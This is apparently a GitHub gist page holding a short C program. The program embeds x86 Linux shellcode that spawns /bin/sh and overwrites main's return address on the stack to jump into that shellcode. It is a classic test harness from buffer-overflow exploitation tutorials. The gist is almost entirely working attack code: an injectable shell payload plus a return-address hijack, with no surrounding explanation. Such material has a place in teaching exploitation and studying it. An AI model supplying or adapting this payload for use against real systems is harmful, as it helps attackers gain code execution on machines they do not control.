Skip to content

Instantly share code, notes, and snippets.

@ss23
Created September 24, 2012 13:38
Show Gist options
  • Save ss23/3775999 to your computer and use it in GitHub Desktop.
Save ss23/3775999 to your computer and use it in GitHub Desktop.
char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment